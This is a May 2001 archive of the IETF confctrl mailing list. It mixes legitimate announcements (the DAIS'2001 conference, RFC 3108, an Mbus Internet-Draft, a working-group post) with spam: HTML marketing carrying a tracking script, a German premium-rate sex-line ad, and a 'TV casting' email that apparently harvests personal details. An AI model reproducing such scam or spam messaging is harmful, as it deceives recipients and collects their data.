<TD width=214 bgColor=#ccccff rowSpan=8>
<DIV align=center><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C13&uid=19571" target="_blank"><IMG border="0" height="145" NOSEND="1" src="http://www.bluemakoi.com/spooner/public_image/image809/Dave.jpg" width="200"></A>
</DIV></TD>
<TD width=11>&nbsp;</TD>
<TD width=445><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C13&uid=19571" target="_blank"><FONT face="Arial, Helvetica, sans-serif" 
            size=2><B>VocaLoca as an ASP or a Self-Hosted Solution (Corporate
Update)</B></FONT></A>
</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" size=2>Link
&amp; Launch your solution in days!</FONT></TD></TR>

<TR>
<TD width=11 height=18>&nbsp;</TD>
<TD width=445 height=18><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Incorporate VocaLoca's branding and XML solution for easy
deployment</FONT></TD></TR>

<TR>
<TD width=11 height=14>&nbsp;</TD>
<TD width=445 height=14><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Lower the cost of collaborating with remote work
groups</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Keeping monthly costs down, enhancing
profitability</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Pay-As-You-Go option also available</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff>&nbsp;</TD>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff rowSpan=8>
<DIV align=center><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C12&uid=19572" target="_blank"><IMG border="0" height="145" NOSEND="1" src="http://www.bluemakoi.com/spooner/public_image/image809/webtour.jpg" width="200"></A>
</DIV></TD>
<TD width=11 height=23>&nbsp;</TD>
<TD width=445><A href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvocaloca%2Fpartner%2Fvldemo1%2Flanding%2Ehtml%3Fprogram%3D0%2Cvldemo1%2C93%2C12&uid=19572" target="_blank"><FONT face="Arial, Helvetica, sans-serif" 
            size=2><B>VocaLoca for Public broadcasts (Web tour of
www.vocaloca.com)</B></FONT></A>
</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;</TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" size=2>Live
or Self-contained Web tours of your favorite site(s) or
products</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Self-expression: Web radio shows with interactive voice
"call-ins"</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Presentations can be received down to a 28.8
connection</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" 
            size=2>Simple production tools, all hosted remotely</FONT></TD></TR>

<TR>
<TD width=11>&nbsp;</TD>
<TD width=445><FONT face="Arial, Helvetica, sans-serif" size=2>Be
Viral! : email or instant message links to expand a show's
reach</FONT></TD></TR>

<TR>
<TD width=11 height=16>&nbsp;</TD>
<TD width=445 height=16>&nbsp;</TD></TR>

<TR>
<TD width=214 bgColor=#ccccff>&nbsp;</TD>
<TD width=11>&nbsp;</TD>
<TD width=445>&nbsp;<FONT face="Arial, Helvetica, sans-serif" size=2><B>To download VocaLoca's white-paper by the Gartner Group:<br>"Interactive Streaming Platform" <a href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom%2Fvlweb%2Fpdf%2Fvlwhitepaper%2Epdf&uid=19573" target="_blank">Click here</a>
</B></FONT></TD></TR>
</TABLE>

<P><FONT face="Arial, Helvetica, sans-serif" size=1>Copyright &copy; 2001 VocaLoca, Inc. All Rights Reserved</FONT></P></TD></TR>
</TABLE>

<P></P><MAP name=Map><AREA coords="515,36,643,117" href="http://www.bluemakoi.com/spooner/redirect.jsp?rcid=159243&rid=1980&url=http:%2F%2Fwww%2Evocaloca%2Ecom&uid=19574" shape="RECT" target="_blank"></MAP><!-- Start Superstats code version 3.0b. Copyright 1997-2001 MyComputer.com, Inc. More info available at http://www.mycomputer.com --><!-- Start Superstats code version 3.0b. Copyright 1997-2001 MyComputer.com, Inc. More info available at http://www.mycomputer.com -->











<script language=JavaScript>var pageName = "B34367";</script>
<script>var code = ' '; </script>
<script src="http://code.superstats.com/code/ss/jaggi_ayyangar/0/30b">
</script>
<script language=JavaScript>
br = navigator.appName + parseInt(navigator.appVersion);
if (code != ' ' || br == 'Netscape2') document.write(code);
else document.write(''
+ ' <im'+'g'
+ ' src="http://stats.superstats.com/b/ss/jaggi_ayyangar/1'
+ '?pageName=' + escape(pageName) + '" border=0>');
document.write('<'); document.write('!-- ');
</script>
<script language=JavaScript>
document.write(' --'); document.write('>');
</script>
<!-- End Superstats tracking code. --><br><font size="1" face="Arial">This message was sent by VocaLoca powered by <font color="#336699">Blue Makoi</font>.<br>If you prefer not to receive these messages, please click on the following link to <A href="http://www.bluemakoi.com/spooner/unsubscribe.jsp?rcid=159243&rid=1980&email_address=confctrl@isi.edu&company_name=VocaLoca">unsubscribe</A></font><br><br></BODY></HTML>

--=_bluemakoi_alternatives_boundary_=--



From confctrl-owner  Mon May 21 01:57:08 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA28318
	for confctrl-outgoing; Mon, 21 May 2001 01:57:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA28301
	for <confctrl@zephyr.isi.edu>; Mon, 21 May 2001 01:57:05 -0700 (PDT)
Received: from i.freeml.com ([211.125.95.13])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4L8uhZ27634;
	Mon, 21 May 2001 01:56:43 -0700 (PDT)
Received: from hansolm.com (bl-p1.freeml.com [211.125.95.95])
	by i.freeml.com (Postfix) with SMTP
	id 2453D2797; Mon, 21 May 2001 16:27:26 +0900 (JST)
Message-ID: <00003a833a53$00007eee$00006f40@hansolm.com>
To: <Dr.l_fitzgerald@medicint.com>
From: Jena_T@hansolm.com
Subject: Conference Calls For Less                         28480
Date: Mon, 21 May 2001 00:30:40 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Long Distance Conference Calls 18 Cents Per Minute!


-Connect up to 100 participants
-No set up fees or contractual fees
-Call anytime, from anywhere, to anywhere
-Web, Data, and Video Conferencing Available

Why pay more for something you don't have to.

Learn More About Conference Calls For Less Here
http://marketing201.net/ccfl/



This is not SPAM.  You have been emailed this message 
because you have opted to receive information regarding
business opportunities.  If you feel that your email address
has been used without your consent and wish to be removed, click
the following link.  We will gladly remove you from our distribution
list and apologize for any inconvenience.
rem0ve992@excite.com

From confctrl-owner  Tue May 22 04:23:39 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA21314
	for confctrl-outgoing; Tue, 22 May 2001 04:23:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA21309
	for <confctrl@zephyr.isi.edu>; Tue, 22 May 2001 04:23:37 -0700 (PDT)
Received: from uci.agh.edu.pl (root@galaxy.uci.agh.edu.pl [149.156.96.9])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4MBNoZ00962
	for <confctrl@isi.edu>; Tue, 22 May 2001 04:23:50 -0700 (PDT)
Received: from iris.ics.agh.edu.pl (pinio@iris.ics.agh.edu.pl [149.156.97.17])
	by uci.agh.edu.pl (8.9.3/8.8.7/rchk1.20) with ESMTP id NAA06745
	for <confctrl@isi.edu>; Tue, 22 May 2001 13:23:48 +0200 (MET DST)
Received: (from pinio@localhost)
	by iris.ics.agh.edu.pl (8.9.3+Sun/8.9.3) id NAA00088
	for confctrl@isi.edu; Tue, 22 May 2001 13:23:47 +0200 (CEST)
Date: Tue, 22 May 2001 13:23:47 +0200 (CEST)
Message-Id: <200105221123.NAA00088@iris.ics.agh.edu.pl>
To: confctrl@ISI.EDU
From: "DAIS'2001 Conference" <dais2001-info@ics.agh.edu.pl>
Reply-To: dais2001-info@ics.agh.edu.pl
Subject: DAIS'2001 Call for Particip., grant opportunities information
Content-Type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

			Call for Participation

			      DAIS'2001

      The Third IFIP WG 6.1 International Working Conference on
	  Distributed Applications and Interoperable Systems

		Krakow, Poland,	17 - 19 September 2001
		   http://www.ics.agh.edu.pl/dais/

ABOUT THE CONFERENCE
DAIS'2001 will provide a broad forum for researchers and developers
from industry and academia, in particular for application and platform
service vendors and users to review, discuss and learn about new
approaches, concepts and experiences in the fields of distributed
computing.  DAIS'2001 will focus on integration and interoperability
of different platforms, services and applications, infrastructure for
e-business, internet charging, coordination, mobile agents,
context-aware applications, as well as on scalability and management
issues, and the growing importance of mobile and wireless protocols
and applications.

DAIS'2001 consists of one state-of-the-art tutorials day and two
conference session days including two invited speeches and 26
technical papers.

TUTORIALS (17 September)
Morning Session
Tutorial TA1: Steve Vinoski, IONA Technologies
	      Web Services: Protocols and Applications
	      
Tutorial TB1: Frank Eliassen, Thomas Plagemann, University in Oslo
  	      Multimedia middleware
	      
Tutorial TC1: Ina Schieferdecker, GMD FOKUS, Jens Grabowski, Medical University of Luebeck
	      Testing of Distributed Systems: TTCN-3 and its GraphicalFormat
	      
Afternoon Session
Tutorial TA2: Sean Baker, IONA Technologies
	      Diverse Middleware is the order of the day

Tutorial TB2: Qusay H.Mahmoud, JavaCourses.com & Carleton University in Ottawa
	      Wireless Software Design for Handheld Devices

Tutorial TC2: Marek Gmyrek, ConSol GmbH
	      J2EE for Enterprise-Wide Business Applications - A Case Study

INVITED LECTURES
I1: Liba Svobodova, IBM Zurich Research Lab (18 September)
    Intelligent Infrastructure for e-Business 

I2: Adam Wolisz, Technical University Berlin (19 September)
    Dual Approach to Internet Charging

TECHNICAL PAPERS SESSIONS  18-19 September 
selected session names:
S1:  Context-Aware Applications
S2:  Integration & Interoperability
S4:  Architectures, Services & Applications
S5:  Mobile Agents
S6:  Management & Monitoring

Full Technical Program with abstracts is available at:
http://www.ics.agh.edu.pl/dais/technical_program.html

SOCIAL PROGRAM  
- Welcome Reception in the Krakow City Hall 
- Excursion to the famous Salt Mine in Wieliczka and Conference Dinner

EUROPEAN COMMISSION GRANT
DAIS'2001 is supported by the European Commission - DG Human Potential
Programme - High-Level Scientific Conferences. Participants may apply
for grants to cover up to 100% expenses - see details on 
http://www.ics.agh.edu.pl/dais/grant.html

DEADLINES
17 July -  registration with reduced fee   
17 July -  European Commission grant requests
3 August - notification of grant acceptance

FEES
early - 300 EUR (1100 PLN) if received before July 17, 2001
late  - 380 EUR (1350 PLN)
single tutorial - 150 EUR (500 PLN)
two tutorials   - 250 EUR (850 PLN)

LOCATION
DAIS'2001 will be held in Krakow, a beautiful, old city, the Poland's
prime cultural and tourist attraction with hardly any equals in the
entire Central Europe, nominated the Capital of the European Culture
for the year 2000. The Old Town district is actually a medieval city
with a well preserved original grid of streets. The huge central
square, Europe's largest, seems the last stage in the perfection of
the art of city planning in the Middle Ages.

MORE INFO
All information you need to learn and register for DAIS'2001:
	  http://www.cs.agh.edu.pl/dais2001/

FURTHER INFORMATION
   DAIS'2001 Organizing Committee
   Academic Computer Center CYFRONET
   University of Mining and Metallurgy
   ul. Nawojki 11, P.O.Box 386
   30-950 Krakow 61
   Poland                                       

e-mail: dais2001-info@ics.agh.edu.pl
fax: +48 12 6341084
phone: +48 12 6173982, ext. 22
       +48 12 6341766

Conference Chairmen
Krzysztof Zielinski (chair), UMM Krakow, Poland
Kurt Geihs (co-chair), University of Frankfurt, Germany

Organizing Committee
Aleksander Laurentowski (chair), Elzbieta Alda,
Zofia Mosurska, Radoslaw Ruchala, UMM Krakow, Poland
	
We are looking forward to meeting you in Krakow, in September 2001!


From confctrl-owner  Wed May 23 15:30:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA11922
	for confctrl-outgoing; Wed, 23 May 2001 15:30:05 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA11916
	for <confctrl@zephyr.isi.edu>; Wed, 23 May 2001 15:30:03 -0700 (PDT)
Received: from ISI.EDU (jet.isi.edu [128.9.160.87])
	by boreas.isi.edu (8.11.2/8.11.2) with ESMTP id f4NMUCG10338;
	Wed, 23 May 2001 15:30:12 -0700 (PDT)
Message-Id: <200105232230.f4NMUCG10338@boreas.isi.edu>
To: IETF-Announce: ;
Subject: RFC 3108 on ATM SDP
Cc: rfc-ed@ISI.EDU, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary=NextPart
Date: Wed, 23 May 2001 15:30:12 -0700
From: RFC Editor <rfc-ed@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--NextPart


A new Request for Comments is now available in online RFC libraries.


        RFC 3108

        Title:	    Conventions for the use of the Session Description
                    Protocol (SDP) for ATM Bearer Connections
        Author(s):  R. Kumar, M. Mostafa
        Status:     Standards Track
	Date:       May 2001
        Mailbox:    rkumar@cisco.com, mmostafa@cisco.com
        Pages:      111
        Characters: 248037
        Updates/Obsoletes/SeeAlso:    None

        I-D Tag:    draft-ietf-mmusic-sdp-atm-05.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3108.txt


This document describes conventions for using the Session Description
Protocol (SDP) described in RFC 2327 for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL).  The AALs
addressed are Type 1, Type 2 and Type 5.  This list of conventions is
meant to be exhaustive.  Individual applications can use subsets of
these conventions.  Further, these conventions are meant to comply
strictly with the SDP syntax as defined in RFC 2327.

This document is a product of the Multiparty Multimedia Session
Control Working Group of the IETF.

This is now a Proposed Standard Protocol.

This document specifies an Internet standards track protocol for
the Internet community, and requests discussion and suggestions
for improvements.  Please refer to the current edition of the
"Internet Official Protocol Standards" (STD 1) for the
standardization state and status of this protocol.  Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to IETF-REQUEST@IETF.ORG.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body 
help: ways_to_get_rfcs.  For example:

        To: rfc-info@RFC-EDITOR.ORG
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
RFC-EDITOR@RFC-EDITOR.ORG.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="RFC-INFO@RFC-EDITOR.ORG"

Content-Type: text/plain
Content-ID: <010523152741.RFC@RFC-EDITOR.ORG>

RETRIEVE: rfc
DOC-ID: rfc3108

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3108.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <010523152741.RFC@RFC-EDITOR.ORG>

--OtherAccess--
--NextPart--

From confctrl-owner  Fri May 25 03:13:46 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA28500
	for confctrl-outgoing; Fri, 25 May 2001 03:13:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA28495
	for <confctrl@zephyr.isi.edu>; Fri, 25 May 2001 03:13:45 -0700 (PDT)
Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f4PAE0Z14320
	for <confctrl@isi.edu>; Fri, 25 May 2001 03:14:00 -0700 (PDT)
Received: (qmail 16450 invoked by alias); 25 May 2001 10:13:38 -0000
Delivered-To: GMX delivery to claudia%carmendorn@gmx.de
Received: (qmail 16441 invoked by uid 0); 25 May 2001 10:13:38 -0000
Date: Fri, 25 May 2001 12:13:38 +0200 (MEST)
From: Carmen Dornbach <CarmenDorn@gmx.de>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0010896236@gmx.net
X-Authenticated-IP: [195.93.64.171]
Message-ID: <29063.990785618@www31.gmx.net>
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
To: claudia%CarmenDorn@gmx.de
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hallo,

wir sind 9 heiße und hemmungslose Girls, nämlich Babette, Moni, Carola,
Angelique, Michelle, Jessica, Melissa, Iris und Sandra, die ein geiles tabuloses
Telefonat, oder bei gefallen einen heißen Seitensprung suchen. Ganz wie Du
willst :o)

Erreichen kannst Du uns direkt unter Telefonnummer: 019085/4794*

Am Telefon können wir uns gleich ein Date ausmachen. Oder hast Du etwa keine
Lust auf einen wilden One Night Stand ? Wir schon :o) ... also beeil Dich
.... fg

Wenn Du uns vorher sehen möchtest, dann schau einfach mal auf unserer
Homepage vorbei ... dort erfährst Du einiges mehr über uns ... www.datingfon.de 

Unsere intimsten Geheimnisse verraten wir Dir natürlich nur direkt ... wir
können sie Dir ja am Telefon ins Ohr flüstern ... 

Also alles ist möglich weil wir auf alles Lust haben und noch so vieles
ausprobieren wollen .... hoffentlich mit Dir. ... 019085/4794*

Lass uns nicht so lange warten ....

Bussi bis gleich Deine süssen Girls








(* E.p. DM 3,63/min.)

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net

--
U2 Konzertreisen inkl. VIP-Package
Hier Eventreisen zur U2-Tour bei Getgo.de online buchen!
http://www.getgo.de/cgi-bin/TDoc.dll?doc=reisen/rei_kon_sta&affiliate=GMX


From confctrl-owner  Fri May 25 05:09:53 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA02462
	for confctrl-outgoing; Fri, 25 May 2001 05:09:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA02456
	for <confctrl@zephyr.isi.edu>; Fri, 25 May 2001 05:09:52 -0700 (PDT)
Received: from altavista.com (user01718.du.no.uu.net [212.125.166.194])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f4PCA2Z04498
	for <confctrl@isi.edu>; Fri, 25 May 2001 05:10:03 -0700 (PDT)
Message-Id: <200105251210.f4PCA2Z04498@tnt.isi.edu>
From: "Roger McKenssy" <casting@altavista.com>
To: <confctrl@ISI.EDU>
Subject: Do you want to be on TV?
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Date: Fri, 25 May 2001 14:10:57 +0200
Reply-To: "Roger McKenssy" <casting@altavista.com>
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

We are looking for new faces for TV & Movie productions. All ages and 
looks. All countries.

If you are interested, Please email or fax us your: 
----------------------------------------------

-Name:

-Age:

-Country:

-City:

-email address:

----------------------------------------------
If your email reply gives you a delivery error, please use Fax nr 
1-309-276-9964 to ensure that we get your message. 

Please reply only if TV, movie or modeling is of an interest to you. 
We hope you understand that we are trying to get ONLY serious people who 
really want to try and like the camera. Feel free to pass this email to a 
friend or a family member who maybe interested.

There is absolutely no payment of any form required from your side.
On the oposite, all jobs we offers are well paid.

You'll be contacted for an online interview as soon as we can. 


Best Regards,
Roger McKenssy
Fax nr 1-309-276-9964
-------------------------------
This email is sent to you in full compliance with all existing and proposed 
email legislation.
Note: You are not on a mailing list, and this is a one-time email. If we 
don't get an answer, you'll never hear from us any more. 
You are removed by default. You can still reply with the word Remove in the 
subject. This right is yours by law.


Use Fax nr 1-309-276-9964

From confctrl-owner  Mon May 28 14:47:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA14398
	for confctrl-outgoing; Mon, 28 May 2001 14:47:25 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA14386
	for <confctrl@zephyr.isi.edu>; Mon, 28 May 2001 14:47:23 -0700 (PDT)
Received: from mail.isi.edu (w116.z209220237.phl-pa.dsl.cnc.net [209.220.237.116])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f4SLlcf10342
	for <confctrl@isi.edu>; Mon, 28 May 2001 14:47:39 -0700 (PDT)
Message-Id: <200105282147.f4SLlcf10342@gamma.isi.edu>
From: mail@ykcom.com
Date: Mon, 28 May 2001 18:00:32
To: confctrl@ISI.EDU
Subject: Place your ads... Free offer expires on 5-31-01  
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Place your LISTINGS or AD for FREE and Find your buyers..
--------------------------------------------------------------------------------------------------
Businesses for sale, Investment Properties,
Franchises, Homebased businesses, Distributors, Wholesales, M&A,
Other Special Businesses...

There will be a fee for placing ad from 6-01-2001 ( we'll charge it as low as possible.)
To place your ads before 5-31-2001 for Free,  
Visit our website http://www.findmybusiness.com

**30 days free trial for 4zip.net the broker's website listing services**
Find our features and maximize your business while you save a lot on your high cost of marketing.
Check our service at http://4zip.net
---------------------------------------------------------------------------------------------------
He will never let you down,  Trust in the Lord with all your heart...



From confctrl-owner  Thu May 31 03:59:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA02687
	for confctrl-outgoing; Thu, 31 May 2001 03:59:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA02682
	for <confctrl@zephyr.isi.edu>; Thu, 31 May 2001 03:59:09 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4VAxOZ23233
	for <confctrl@isi.edu>; Thu, 31 May 2001 03:59:25 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA19723;
	Thu, 31 May 2001 06:59:02 -0400 (EDT)
Message-Id: <200105311059.GAA19723@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-06.txt,.ps
Date: Thu, 31 May 2001 06:59:02 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: A Message Bus for Local Coordiantion
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-06.txt,.ps
	Pages		: 46
	Date		: 30-May-01
	
The local Message Bus (Mbus) is a simple message-oriented
coordination infrastructure for group communication within groups of
co-located communication peers. The Mbus provides automatic location
of communication peers, subject based addressing, reliable message
transfer and group communication. The protocol uses an IP multicast
group as a common communication channel between peers. The scope of
this group is strictly limited to link-local communication. This
document specifies the Mbus protocol, i.e., message syntax,
addressing and transport mechanisms.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-06.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010530130703.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010530130703.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu May 31 04:17:40 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA03351
	for confctrl-outgoing; Thu, 31 May 2001 04:17:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA03345
	for <confctrl@zephyr.isi.edu>; Thu, 31 May 2001 04:17:38 -0700 (PDT)
Received: from webhost.tactical-sw.com ([63.66.184.253])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4VBHnZ27884
	for <confctrl@ISI.EDU>; Thu, 31 May 2001 04:17:55 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (rt314 [63.66.184.254])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id HAA25625
	for <confctrl@ISI.EDU>; Thu, 31 May 2001 07:17:53 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010531071404.00a61928@hither.rfdsoftware.com>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Thu, 31 May 2001 07:16:49 -0400
To: confctrl@ISI.EDU
From: David Yon <yon@dialout.net>
Subject: Moving draft-ietf-mmusic-sdp-comedia-00.txt along
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There hasn't been much discussion or controversy about this draft for a few 
months now:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt

There is also at least one other IETF draft that references it, and going 
forward it seems apparent to me that other work would benefit from the 
draft as a building block to specifying non-RTP/UDP media in SDP.

So what do we do to get this draft into the pipe?



David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Fri Jun  1 09:40:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA03019
	for confctrl-outgoing; Fri, 1 Jun 2001 09:40:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA03005
